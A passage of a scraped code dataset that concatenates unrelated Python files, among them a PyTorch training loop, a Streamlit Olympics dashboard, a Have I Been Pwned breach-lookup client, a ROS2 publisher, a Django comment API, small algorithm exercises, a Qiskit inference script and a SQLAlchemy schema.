parameters\r\n optimizer.step()\r\n\r\n # Compute the total loss for the batch and add it to train_loss\r\n train_loss += loss.item() * inputs.size(0)\r\n\r\n # Compute the accuracy\r\n ret, predictions = torch.max(outputs.data, 1)\r\n correct_counts = predictions.eq(labels.data.view_as(predictions))\r\n\r\n # correct = (predictions == labels).sum().float()\r\n # print(correct_counts, correct, type(correct_counts), type(correct))\r\n\r\n # Convert correct_counts to float and then compute the mean\r\n acc = torch.mean(correct_counts.type(torch.FloatTensor))\r\n\r\n # Compute total accuracy in the whole batch and add to train_acc\r\n train_acc += acc.item() * inputs.size(0)\r\n\r\n\r\n epoch_valid_start = time.time()\r\n # Validation - No gradient tracking needed\r\n with torch.no_grad():\r\n\r\n # Set to evaluation mode\r\n model.eval()\r\n\r\n # Validation loop\r\n for j, (inputs, labels) in enumerate(valid_data_loader):\r\n inputs = inputs.cuda(device = 0)\r\n labels = labels.cuda(device = 0)\r\n\r\n # Forward pass - compute outputs on input data using the model\r\n outputs = model(inputs)\r\n\r\n # Compute loss\r\n loss = loss_func(outputs, labels)\r\n\r\n # Compute the total loss for the batch and add it to valid_loss\r\n valid_loss += loss.item() * inputs.size(0)\r\n\r\n # Calculate validation accuracy\r\n ret, predictions = torch.max(outputs.data, 1)\r\n\r\n correct_counts = predictions.eq(labels.data.view_as(predictions))\r\n\r\n # Convert correct_counts to float and then compute the mean\r\n acc = torch.mean(correct_counts.type(torch.FloatTensor))\r\n\r\n # Compute total accuracy in the whole batch and add to valid_acc\r\n valid_acc += acc.item() * inputs.size(0)\r\n\r\n # Find average training loss and training accuracy\r\n avg_train_loss = train_loss/train_data_size\r\n avg_train_acc = train_acc/train_data_size\r\n\r\n # Find average training loss and training accuracy\r\n avg_valid_loss = valid_loss/valid_data_size\r\n avg_valid_acc = valid_acc/valid_data_size\r\n\r\n history.append([avg_train_loss, avg_valid_loss, avg_train_acc, avg_valid_acc])\r\n\r\n epoch_end = time.time()\r\n\r\n print(\"Epoch : {:d}/{:d}, Train : Loss: {:.4f}, Acc: {:.2f}%, Time: {:.2f}s\".\\\r\n format(epoch, epochs, avg_train_loss,\\\r\n avg_train_acc*100, epoch_valid_start - epoch_train_start ), end= \" | \")\r\n print(\"Valid : Loss: {:.4f}, Acc: {:.2f}%, Time: {:.2f}s\"\\\r\n .format(avg_valid_loss, avg_valid_acc*100, epoch_end-epoch_valid_start))\r\n\r\n # Save if the model has best accuracy till now\r\n if save_model and (epoch >= save_thre):\r\n file_path = os.path.join(save_dir, \\\r\n \"_\".join([prefix, str(epoch), time_stamp()]) + '.pth')\r\n if save_type == \"full_model\":\r\n torch.save(model, file_path)\r\n elif save_type == \"weights_only\":\r\n torch.save(model.module.state_dict(), file_path)\r\n else:\r\n print(\"[INFO] invalid save type, unable to save the model\")\r\n\r\n\r\n\r\n","sub_path":"bald/retrain_model.py","file_name":"retrain_model.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"568998515","text":"import altair as alt\nimport pandas as pd\nimport numpy as np\n# import seaborn as sns\nimport streamlit as st\n# from matplotlib import pyplot as plt\n# from preprocessing import *\n# import requests\n# from bs4 import BeautifulSoup\n\n##################\n## build graphs ##\n##################\n\ndef popualtion_GDP_stat(dataset):\n selection = alt.selection_single(on='mouseover',empty='none')\n\n point_1 = alt.Chart(dataset).mark_point(filled=True,size=90).encode(\n x=alt.X('Population:Q'),\n y=alt.Y('GDP per Capita:Q'),\n tooltip=['Country','Code']\n ).add_selection(selection)\n\n point_2 = alt.Chart(dataset).mark_point(filled=True,size=90).encode(\n x=alt.X('Population:Q'),\n y=alt.Y('GDP per Capita:Q'),\n color=alt.value('red')\n ).transform_filter(\n alt.datum.Country == 'Norway'\n )\n\n text = point_2.mark_text(dy=-4,dx=25).encode(\n alt.Text('Country'),\n color=alt.value('black')\n )\n\n return point_1 + point_2 + text\n\ndef popualtion_GDP_inter(dataset,filter):\n selection = alt.selection_single(on='mouseover',empty='none')\n\n point_1 = alt.Chart(dataset,title='Population - GDP per Capita').mark_point(filled=True,size=90).encode(\n x=alt.X('Population:Q'),\n y=alt.Y('GDP per Capita:Q'),\n size='Population',\n tooltip=['Country','Code']\n ).add_selection(selection).transform_filter(\n alt.FieldOneOfPredicate(field='Country', oneOf=filter)\n )\n\n point_2 = alt.Chart(dataset).mark_point(filled=True,size=90).encode(\n x=alt.X('Population:Q'),\n y=alt.Y('GDP per Capita:Q'),\n size='Population',\n color=alt.value('red')\n ).transform_filter(\n alt.datum.Country == 'Norway'\n )\n\n text = alt.Chart(dataset).encode(\n x=alt.X('Population:Q'),\n y=alt.Y('GDP per Capita:Q'),\n text=alt.Text('Country'),\n color=alt.value('black')\n ).mark_text(dy=-4,dx=25).transform_filter(\n alt.FieldOneOfPredicate(field='Country', oneOf=filter)\n )\n\n return (point_1 + point_2 + text).interactive()\n\ndef NOR_medals_stat(dataset):\n return alt.Chart(dataset,title=\"Chnages of Number of Medals in Norway 1900-2014\").mark_area().encode(\n x=alt.X('Year:O'),\n y=alt.Y('count():Q',axis=alt.Axis(grid=False)),\n color=alt.Color('Medal:N'))\n\ndef NOR_medals_inter(dataset, filter_year):\n return alt.Chart(dataset,title=\"Chnages of Number of Medals in Norway\").mark_area().encode(\n x=alt.X('Year:O'),\n y=alt.Y('count():Q',axis=alt.Axis(grid=False),scale=alt.Scale(domain=(0,160))),\n color=alt.Color('Medal:N', \n sort=['Gold','Silver','Bronze'],\n scale=alt.Scale(domain=['Gold','Silver','Bronze'],\n range=['gold', 'silver','darkorange']))\n ).transform_filter(\n alt.datum.Year >= filter_year\n )\n\ndef medal_rank(dataset, medal_type='Total'):\n base = alt.Chart(dataset,title='2018 Medal Summary').mark_bar().encode(\n y=alt.Y('Country:N',sort='-x'),\n x=alt.X('total:Q',scale=alt.Scale(domain=(0,40)))\n ).transform_joinaggregate(\n total = f'sum({medal_type})',\n groupby=['Country']\n ).transform_window(\n rank='rank(total)',\n sort=[alt.SortField('total',order='descending')]\n ).transform_filter(\n alt.datum.rank<10\n )\n if medal_type == 'Gold':\n return base.mark_bar(color='gold')\n elif medal_type == 'Silver':\n return base.mark_bar(color='silver')\n elif medal_type == 'Bronze':\n return base.mark_bar(color='darkorange')\n else:\n return base\n \n\ndef gender(dataset):\n return alt.Chart(dataset).mark_bar().encode(\n x=alt.X('Year:O'),\n y=alt.Y('count()',title=None,scale=alt.Scale(domain=[0,2000])),\n color='Gender'\n )\n\ndef gender_inter(dataset, filter_year):\n char_m = alt.Chart(dataset).mark_bar(color=\"lightblue\").encode(\n x=alt.X('count:Q',\n title='Men',\n sort='descending',\n scale=alt.Scale(domain=(0,160)),\n axis=alt.Axis(grid=False)),\n y=alt.Y('Year:N'),\n tooltip=['count:Q']\n ).transform_joinaggregate(\n groupby=['Year','Gender'],\n count = 'count(Medal)'\n ).transform_filter(\n (alt.datum.Gender=='Men') & (alt.datum.Year >= filter_year)\n )\n\n chart_f = alt.Chart(dataset).mark_bar(color=\"lightpink\").encode(\n x=alt.X('count:Q',\n title='Women',\n sort='ascending',\n scale=alt.Scale(domain=(0,160)),\n axis=alt.Axis(grid=False)),\n y=alt.Y('Year:N',title=None,axis=None),\n tooltip=['count:Q']\n ).transform_joinaggregate(\n groupby=['Year','Gender'],\n count = 'count(Medal)'\n ).transform_filter(\n (alt.datum.Gender=='Women') & (alt.datum.Year >= filter_year)\n )\n\n return (char_m | chart_f).properties(title='Number of Winners in Gender')\n\ndef season_inter(dataset, filter_year):\n selection = alt.selection_single(on='mouseover',empty='none')\n opacityCondition = alt.condition(selection, alt.value(1.0), alt.value(0.8))\n bar = alt.Chart(dataset,title='Number of Medals in Summer and Winter Olympics overtime').mark_bar().encode(\n x='Year:N',\n y='Medal:Q',\n color='Season',\n tooltip=['Medal:Q'],\n opacity=opacityCondition\n ).add_selection(selection).transform_filter(alt.datum.Year >= filter_year)\n return bar\n\ndef main():\n # load data\n ## dataset_1\n countries = pd.read_csv('data/countries.csv')\n df = pd.read_csv('data/summer_winter.csv')\n ## dataframe used in stat\n df_50_60 = df[df.Year.isin(range(1950,1970))]\n df_70_80 = df[df.Year.isin(range(1970,1990))]\n df_90 = df[df.Year.isin(range(1990,1999))]\n df_00 = df[df.Year.isin(range(2000,2006))]\n df_06 = df[df.Year>2006]\n df_NOR = df[df.Country=='NOR']\n # country_code = list(countries.Code)\n ## dataset_2\n medal_2018 = pd.read_csv('data/medal_2018.csv')\n ## dataset_3\n winner_medals = pd.read_csv('data/winner_medals.csv')\n\n ##########################\n ####### main page ########\n ##########################\n\n st.title(\"\"\"Olympics' Facts in Norway\"\"\")\n\n st.sidebar.markdown(\"\"\"Select to show more contents\"\"\")\n st.sidebar.text(\"(Diselect to show less)\")\n checkbox_1 = st.sidebar.checkbox('Domain Questions',value=True)\n checkbox_2 = st.sidebar.checkbox('Select to learn more',value=False)\n checkbox_3 = st.sidebar.checkbox('Earlier Version',value=False)\n\n\n html = \"\"\"\n \n \"\"\"\n st.markdown(html, unsafe_allow_html=True)\n \n if checkbox_1:\n st.header('Domain Questions')\n st.markdown(\"\"\"\n 1. In 2018, what are the top 10 countries with the highest number of medals? \n 2. How population and GDP per capita relate between countries?\n 3. What is the difference in the number of medals between winter and summer competition?\n 4. How the number of winners with different genders has changed?\n 5. What is the change in the total number of medals in Norway?\n\n \"\"\")\n\n \n if checkbox_2:\n st.markdown('----------------------')\n # st.balloons()\n st.header(\"Learn Something About Olympics' Facts in Norway\")\n # - Default view at the beginning of the page\n st.markdown('

Top 10 Countries with Different Medals in 2018

',unsafe_allow_html=True)\n medal_type = st.radio(label='Select medal type for 2018',options=['Total','Gold','Silver','Bronze'])\n st.altair_chart(medal_rank(medal_2018,medal_type), use_container_width=True)\n \n st.sidebar.markdown('----------------------')\n country_list = list(countries.Country) \n button = st.sidebar.multiselect('Select to show more countries', country_list, default=['Norway'])\n st.sidebar.markdown('----------------------')\n year = st.sidebar.slider('Year', 1896, 2014, 1988) \n \n st.markdown('----------------------')\n st.markdown('

Relations between Population and GDP per Capita Overtime

',unsafe_allow_html=True)\n st.markdown('Select countries you would like to know more in the sidebar at the left ^^')\n st.altair_chart(popualtion_GDP_inter(countries,button), use_container_width=True)\n # st.text(str(year))\n\n st.markdown('----------------------')\n st.markdown('

Number of Medals in Summer and Winter Olympics Overtime 1896-2012

',unsafe_allow_html=True)\n year_season_medal = df.groupby(['Year','Season']).count().Medal.reset_index()\n # plt.subplots(figsize=(7,3))\n st.altair_chart(season_inter(year_season_medal, year), use_container_width=True)\n # g.set(title='Number of Medals in Summer and Winter Olympics overtime')\n # st.set_option('deprecation.showPyplotGlobalUse', False)\n # st.pyplot()\n\n st.markdown('----------------------')\n st.markdown('

Number of Winners in Different Gender Changes Overtime 1924-2014

',unsafe_allow_html=True)\n st.altair_chart(gender_inter(winner_medals,year), use_container_width=True)\n # gender_fig.configure_view(title='test')\n\n st.markdown('----------------------')\n st.markdown('

Number of medals change along years in Norway

',unsafe_allow_html=True)\n st.altair_chart(NOR_medals_inter(df_NOR,year), use_container_width=True)\n\n if checkbox_3:\n st.markdown('----------------------')\n st.header('Earlier Version')\n st.markdown('

Building Statistics Vis

',unsafe_allow_html=True)\n st.markdown(\" \")\n st.markdown('Relationship between popultaion and GDP')\n st.altair_chart(popualtion_GDP_stat(countries), use_container_width=True)\n\n st.markdown('Number of medals change along years in Norway')\n st.altair_chart(NOR_medals_stat(df_NOR), use_container_width=True)\n\n st.markdown('Number of athletes with different genders changes overtime')\n st.altair_chart(gender(df_06)|gender(df_00)|gender(df_90)|gender(df_70_80)|gender(df_50_60), use_container_width=True)\n\n st.markdown('Top 10 total medals in 2018')\n st.altair_chart(medal_rank(medal_2018), use_container_width=True)\n\n \n\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"communicative_project/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":10665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"314667620","text":"# Original author: Lucas Soares Pellizzaro on 2019-01-24\r\n\r\n# Native modules\r\n\r\n# Downloaded modules\r\n\r\n# Custom modules\r\nimport hibpAPI, hibpUtils, logger, UI\r\n\r\n\r\nif(__name__ == \"__main__\"):\r\n\tthis_logger = logger.LoggerUI(__name__)\r\n\r\n\tthis_logger.info(\"Program started!\")\r\n\r\n\thibpAPI.setUserAgent(\"\")\r\n\t#hibpAPI.setProxy(\"\")\r\n\t#hibpAPI.enableProxy()\r\n\thibpAPI.startConnection()\r\n\r\n\toptlist = [\r\n\t\t\"Get all breaches\",\r\n\t\t\"Get all breaches for account\",\r\n\t\t\"Get all breaches for domain\",\r\n\t\t\"Get all breaches for account of domain\",\r\n\t\t\"Get all pastes for account\",\r\n\t\t\"Get pwned passwords from hash prefix\",\r\n\t\t\"Get single breached site\",\r\n\t\t\"Get all data classes\",\r\n\t]\r\n\tselectedOption = UI.selectOption(optlist)\r\n\tif(selectedOption == optlist[0]):\r\n\t\tresponse = hibpAPI.getAllBreaches()\r\n\r\n\telif(selectedOption == optlist[1]):\r\n\t\taccount = input(\"Digite o e-mail a ser verificado: \")\r\n\t\tresponse = hibpAPI.getAllBreachesForAccount(account)\r\n\r\n\telif(selectedOption == optlist[2]):\r\n\t\tdomain = input(\"Digite o domínio a ser verificado: \")\r\n\t\tresponse = hibpAPI.getAllBreachesOfDomain(domain)\r\n\r\n\telif(selectedOption == optlist[3]):\r\n\t\taccount = input(\"Digite o e-mail a ser verificado: \")\r\n\t\tdomain = input(\"Digite o domínio a ser verificado: \")\r\n\t\tresponse = hibpAPI.getAllBreachesForAccountOfDomain(account, domain)\r\n\r\n\telif(selectedOption == optlist[4]):\r\n\t\taccount = input(\"Digite o e-mail a ser verificado: \")\r\n\t\tresponse = hibpAPI.getAllPastesForAccount(account)\r\n\r\n\telif(selectedOption == optlist[5]):\r\n\t\thashsuffix = input(\"Digite o hash sufixo da senha a ser verificada: \")\r\n\t\tresponse = hibpAPI.getPwnedPasswords(hashsuffix)\r\n\r\n\telif(selectedOption == optlist[6]):\r\n\t\tname = input(\"Digite o nome do vazamento a ser verificado: \")\r\n\t\tresponse = hibpAPI.getSingleBreachedSite(name)\r\n\r\n\telif(selectedOption == optlist[7]):\r\n\t\tresponse = hibpAPI.getAllDataClasses()\r\n\r\n\tbreaches = response[\"output\"]\r\n\twith open(\"output.txt\",\"w+\",encoding=\"utf-8\") as outfile:\r\n\t\tif((type(breaches) is list)and(type(breaches[0]) is dict)):\r\n\t\t\tfor breach in breaches:\r\n\t\t\t\tfor key in breach.keys():\r\n\t\t\t\t\tif(not (type(breach[key]) is str)):\r\n\t\t\t\t\t\tbreach[key] = str(breach[key])\r\n\t\t\t\t\toutfile.write(key+\": \"+(breach[key])+\"\\n\")\r\n\t\t\t\toutfile.write(\"\\n\")\r\n\r\n\t\telif(type(breaches) is dict):\r\n\t\t\tfor key in breaches.keys():\r\n\t\t\t\toutfile.write(key+\": \"+str(breaches[key])+\"\\n\")\r\n\t\t\toutfile.write(\"\\n\")\r\n\r\n\t\telif(type(breaches) is list):\r\n\t\t\tfor element in breaches:\r\n\t\t\t\toutfile.write(element+\"\\n\")\r\n\r\n\t\telse:\r\n\t\t\toutfile.write(str(breaches)+\"\\n\")\r\n\r\n\tthis_logger.info(\"Program finished!\")","sub_path":"scripts/v4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"317574509","text":"import rclpy\nfrom rclpy.node import Node\n\nfrom std_msgs.msg import String\n\nclass EasyPublisher(Node):\n\n def __init__(self):\n super().__init__('easy_publisher')\n self.publisher_ = self.create_publisher(String, 'words', 10)\n # timer_period = 0.5\n # self.timer = self.create_timer(timer_period, self.timer_callback)\n self.i = 0\n self.prompt_user()\n\n def prompt_user(self):\n user_input = \"\"\n msg = String()\n\n while user_input != \"quit\":\n user_input = input(\"-> \")\n\n msg.data = user_input\n\n self.publisher_.publish(msg)\n self.get_logger().info('Publishing: \"%s\"' % msg.data)\n self.i += 1\n\ndef main(args=None):\n rclpy.init(args=args)\n\n easy_publisher = EasyPublisher()\n\n rclpy.spin(easy_publisher)\n\n easy_publisher.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"easy_pkg/easy_publisher.py","file_name":"easy_publisher.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"155598238","text":"from rest_framework import viewsets\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework.status import *\nfrom comments.api.serializers import (\n CommentSerializerForCreate,\n CommentSerializer,\n CommentSerializerForUpdate,\n CommentSerializerWithLikes,\n)\nfrom comments.models import Comment\nfrom utils.decorators import required_params\nfrom utils.permissions import IsObjectOwner\nfrom inboxes.services import NotificationService\n\nclass CommentViewSet(viewsets.GenericViewSet):\n '''\n API Endpoints for creating and listing tweets\n '''\n\n serializer_class = CommentSerializerForCreate\n queryset = Comment.objects.all()\n filterset_fields = ('tweet_id',)\n def create(self, request):\n data = {\n 'user_id': request.user.id,\n 'tweet_id': request.data.get('tweet_id'),\n 'content': request.data.get('content'),\n }\n serialzier = CommentSerializerForCreate(\n data=data,\n context={'request': request},\n )\n\n if not serialzier.is_valid():\n return Response({\n \"success\": False,\n \"message\": \"Please check input.\",\n \"errors\": serialzier.errors,\n }, status=HTTP_400_BAD_REQUEST)\n\n comment = serialzier.save()\n #send out notifications\n NotificationService.send_comment_notification(comment)\n return Response(CommentSerializer(comment, context={'request': request}).data, status = HTTP_201_CREATED)\n\n def destroy(self, request, *args, **kwargs):\n comment = self.get_object()\n comment.delete()\n return Response({'success': True}, status=HTTP_200_OK)\n\n def update(self, request, *args, **kwargs):\n\n serializer = CommentSerializerForUpdate(\n instance=self.get_object(),\n data=request.data\n )\n if not serializer.is_valid():\n return Response({\n \"success\": False,\n \"message\": \"Please check inputs.\",\n \"errors\": serializer.errors,\n }, status=HTTP_400_BAD_REQUEST)\n comment = serializer.save()\n\n return Response(CommentSerializer(comment).data, status=HTTP_200_OK)\n\n def get_permissions(self):\n if self.action == 'list':\n return [AllowAny()]\n elif self.action in ['update', 'destroy']:\n return [IsAuthenticated(), IsObjectOwner()]\n return [IsAuthenticated()]\n\n @required_params(method='GET', params=['tweet_id'])\n def list(self, request):\n queryset = self.get_queryset()\n comments = self.filter_queryset(queryset)\\\n .prefetch_related('user')\\\n .order_by('-created_at')\n serializer = CommentSerializerWithLikes(\n comments,\n context={'request': request},\n many=True,\n )\n return Response({\n \"success\": True,\n \"comments\": serializer.data,\n }, status=HTTP_200_OK)\n","sub_path":"comments/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"612957842","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def preorderTraversal(self, root):\n \"\"\"\n 迭代\n :param root:\n :return:\n \"\"\"\n if not root:\n return [] \n result=[]\n def fun(root):\n result.append(root.val)\n if root.left:\n fun(root.left)\n if root.right:\n fun(root.right)\n fun(root)\n return result\n def preorderTraversal1(self,root):\n \"\"\"\n 循环\n :param root:\n :return:\n \"\"\"\n res=[]\n queue=[root]\n while queue:\n node=queue.pop()\n res.insert(node.val)\n if node.right:\n queue.append(node.right)\n if node.left:\n queue.append(node.left)","sub_path":"leetCode/144_preorder.py","file_name":"144_preorder.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"367199913","text":"import torch\nimport torchvision\nfrom torchvision import datasets\nimport torchvision.transforms as transforms\nimport torch.nn as nn\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom qiskit.tools.monitor import job_monitor\nfrom qiskit import QuantumRegister, QuantumCircuit, ClassicalRegister\nfrom qiskit import Aer, execute, IBMQ\nfrom qiskit.extensions import XGate, UnitaryGate\n\nimport sys\nimport os\nimport time\nimport functools\nimport pandas as pd\n\nfrom lib.utils import *\nfrom lib.U_layer import *\nfrom lib.P_layer import *\n\ninterest_num = [3,6]\nori_img_size = 28\nimg_size = 4\n# number of subprocesses to use for data loading\nnum_workers = 12\n# how many samples per batch to load\nbatch_size = 1\ninference_batch_size = 1\ndata_path = './data'\n\nqc_shots = 8192\n\n# convert data to torch.FloatTensor\ntransform = transforms.Compose([transforms.Resize((ori_img_size,ori_img_size)),\n transforms.ToTensor()])\n# Path to MNIST Dataset\ntrain_data = datasets.MNIST(root=data_path, train=True,\n download=True, transform=transform)\ntest_data = datasets.MNIST(root=data_path, train=False,\n download=True, transform=transform)\n\ntrain_data = select_num(train_data,interest_num)\ntest_data = select_num(test_data,interest_num)\n\n# prepare data loaders\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size,\n num_workers=num_workers, shuffle=True, drop_last=True)\ntest_loader = torch.utils.data.DataLoader(test_data, batch_size=inference_batch_size, \n num_workers=num_workers, shuffle=True, drop_last=True)\n\n\n# Model initialization\nweight_1_1 = torch.tensor([1., 1., 1., 1., 1., 1., 1., -1., 1., -1., 1., -1., 1., 1., 1., 1.])\nweight_1_2 = torch.tensor([-1., -1., -1., -1., -1., -1., -1., -1., -1., 1., -1., 1., -1., -1.,-1., -1.])\n\nweight_2_1 = torch.tensor([1., -1.])\nnorm_flag_1 = True\nnorm_para_1 = torch.tensor(0.3060)\n\nweight_2_2 = torch.tensor([-1., -1.])\nnorm_flag_2 = False\nnorm_para_2 = torch.tensor(0.6940)\n\nweights = [weight_1_1, weight_1_2, weight_2_1, weight_2_2]\nflags = [norm_flag_1, norm_flag_2]\nparams = [norm_para_1, norm_para_2]\n\nsaving = True\nquiet = True\nsimulation = True\n\np_pred = []\nu_pred = []\np_prob = []\nu_prob = []\nitr = 0\n\nfor batch_idx, (data, target) in enumerate(test_loader):\n\n torch.set_printoptions(threshold=sys.maxsize)\n # print(\"Batch Id: {}, Target: {}\".format(batch_idx,target))\n quantum_matrix, qantum_data = data_pre_pro(\n torchvision.utils.make_grid(data), img_size, verbose=False)\n\n p_circ = p_circ_gen(quantum_matrix, weights, flags, params)\n u_circ = u_circ_gen(quantum_matrix, weights, flags, params)\n\n # p_circ\n counts = fire_ibmq(p_circ, qc_shots, Simulation=simulation, backend_name='ibmq_santiago', quiet=quiet)\n (mycount, bits) = analyze(counts)\n class_prob = []\n for b in range(bits):\n class_prob.append(float(mycount[b])/qc_shots)\n \n p_prob.append(class_prob)\n result = abs((class_prob.index(max(class_prob)) - target[0]).numpy()) # 0 if correct, 1 if not\n p_pred.append(result)\n\n if quiet==False:\n print(\"=\"*10, \"Non-Optimized Circuit\", \"=\"*10)\n print(\"Non-Optimized Circuit Depth:\", p_circ.depth())\n print(\"Result of non-optimized QC:\", class_prob)\n print(\"Prediction class: {}\".format(class_prob.index(max(class_prob))))\n print(\"Target class: {}\".format(target[0]))\n\n if class_prob.index(max(class_prob)) == target[0]:\n print(\"Correct prediction\")\n else:\n print(\"Incorrect prediction\")\n\n print(\"=\"*30)\n\n # u_circ\n opt_counts = fire_ibmq(u_circ, qc_shots, Simulation=simulation, quiet=quiet)\n (opt_mycount, bits) = analyze(opt_counts)\n opt_class_prob = []\n for b in range(bits):\n opt_class_prob.append(float(opt_mycount[b])/qc_shots)\n\n u_prob.append(opt_class_prob)\n result = abs((opt_class_prob.index(max(opt_class_prob)) - target[0]).numpy())\n u_pred.append(result)\n\n if quiet==False:\n print(\"=\"*10, \"Optimized Circuit\", \"=\"*10)\n print(\"Optimized Circuit Depth:\", u_circ.depth())\n print(\"Result of optimized QC:\", opt_class_prob)\n print(\"Prediction class: {}\".format(opt_class_prob.index(max(opt_class_prob))))\n print(\"Target class: {}\".format(target[0]))\n\n if opt_class_prob.index(max(opt_class_prob)) == target[0]:\n print(\"Correct prediction\")\n else:\n print(\"Incorrect prediction\")\n\n print(\"=\"*30)\n \n itr += 1\n if itr % 100 == 0:\n print(\"iteration \"+itr)\n \n if itr >= 2:\n break\n\nif saving:\n t = time.localtime()\n dir = \"./results/\"+time.strftime('%m-%d_%H-%M', t)\n\n if not os.path.exists(dir):\n os.makedirs(dir)\n\n df_pred = pd.DataFrame([p_pred, u_pred])\n df_pred.to_csv(dir+\"/predictions.csv\", index=False)\n\n dfp = pd.DataFrame(p_prob, columns=[\"p[0]\", \"p[1]\"])\n dfu = pd.DataFrame(u_prob, columns=[\"u[0]\", \"u[1]\"])\n\n df_prob = pd.concat([dfp, dfu], axis=1)\n df_pred.to_csv(dir+\"/probilities.csv\", index=False)","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"512910539","text":"#https://www.interviewbit.com/problems/possibility-of-finishing-all-courses-given-prerequisites/#\nclass Solution:\n # @param A : integer\n # @param B : list of integers\n # @param C : list of integers\n # @return an integer\n def solve(self, A, B, C):\n graph = {}\n n = len(C)\n for i in range(n):\n node = C[i]\n pre = B[i] \n if pre in graph:\n graph[pre].append(node)\n else:\n graph[pre] = [node]\n if node not in graph:\n graph[node] = []\n def isCycle(v, visited , stack ,graph):\n visited[v] = 1\n stack[v] = 1\n for nbr in graph[v]:\n if not visited[nbr]:\n if isCycle(nbr , visited , stack ,graph):\n return 1\n elif stack[nbr]:\n return 1\n stack[v] = 0\n return 0\n def cycle(n, graph):\n visited = [0 for i in range(A+1)]\n stack = [0 for i in range(A+1)]\n for nodes in graph:\n if not visited[nodes]:\n if isCycle(nodes, visited, stack , graph):\n return 1\n return 0\n if cycle(n,graph):\n return 0\n else:\n return 1\n \n","sub_path":"Graph/possibility-of-finishing-all-courses-given-prerequisites.py","file_name":"possibility-of-finishing-all-courses-given-prerequisites.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"347686608","text":"#pylint: disable=R0903\nimport sqlalchemy\n\nimport pyrob.table\nimport pyrob.schema.types\n\n\nclass HfcSaCmStatUpEq(pyrob.table.Common, pyrob.table.Base):\n \"\"\"Contains hourly pre-equalization data. The equalization data is\n retained for 1 week. When equalization data is not available, such as\n for DOCSIS 1.0 modems, or if CMTSs are not configured to use\n pre-equalization, no data is reported.\n\n iPACT loading frequency is hourly.\n\n .. attribute:: metrics_date\n\n A timestamp for the collected data.\n\n .. attribute:: mac_addr\n\n MAC address of the cable modem.\n\n .. attribute:: upstream_name\n\n Name of the Upstream channel this record corresponds to.\n\n .. attribute:: logical_name\n\n The Name of the CMTS the modem is attached to.\n\n .. attribute:: eq_data_hex\n\n The original (as collected) equalization data, in HEX format.\n\n .. attribute:: mte\n\n Main Tap Energy\n\n .. attribute:: pre_mte\n\n Sum of energies of the taps before the main tap.\n\n .. attribute:: post_mte\n\n Sum of energies of the taps after the main tap.\n\n \"\"\"\n __tablename__ = 'T_ROB_HFC_SA_CM_STAT_UP_EQ_RAW'\n __table_args__ = {'schema': 'IPACT_STG'}\n\n metrics_date = sqlalchemy.Column(pyrob.schema.types.DateParser,\n primary_key=True,\n nullable=False)\n mac_addr = sqlalchemy.Column(sqlalchemy.String(12),\n primary_key=True,\n nullable=False)\n upstream_name = sqlalchemy.Column(sqlalchemy.String(252),\n primary_key=True,\n nullable=False)\n cmts_name = sqlalchemy.Column(sqlalchemy.String(250),\n nullable=False)\n eq_data_hex = sqlalchemy.Column(sqlalchemy.String(1000),\n nullable=False)\n mte = sqlalchemy.Column(sqlalchemy.Numeric, nullable=False)\n pre_mte = sqlalchemy.Column(sqlalchemy.Numeric, nullable=False)\n post_mte = sqlalchemy.Column(sqlalchemy.Numeric, nullable=False)\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def column_aliases(self):\n return {\n 'hour_stamp': 'metrics_date',\n 'cm_desc': 'mac_addr',\n 'up_desc': 'upstream_name',\n 'cmts': 'cmts_name',\n 'eq_data': 'eq_data_hex',\n }\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def object_id(self):\n return 6006002\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def target_object_id(self):\n return 1006002\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def source_table_details(self):\n return {\n 'CM_HOUR_STATS_UP_EQ': (\n 'HOUR_STAMP',\n 'CM_DESC',\n 'UP_DESC',\n 'CMTS',\n 'EQ_DATA',\n 'MTE',\n 'PRE_MTE',\n 'POST_MTE',\n )\n }\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def max_date_threshold_column(self):\n \"\"\"Remote column name to use to determine most recent\n insert date/time.\n\n \"\"\"\n return 'metrics_date'\n\n @sqlalchemy.ext.hybrid.hybrid_property\n def tran_table(self):\n return 'IPACT_TRAN.T_TRN_HFC_SA_CM_STAT_UP_EQ'\n","sub_path":"pyrob/schema/ipact_stg/hfc/hfc_sa_cm_stat_up_eq.py","file_name":"hfc_sa_cm_stat_up_eq.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"437727183","text":"#!/usr/bin/python3\nclass Node:\n def __init__(self, data, next_node=None):\n self.data = data\n self.next_node = next_node\n\n @property\n def data(self):\n return self.__data\n\n @data.setter\n def data(self, value):\n if type(value) is not int:\n raise TypeError(\"data must be an integer\")\n self.__data = value\n\n @property\n def 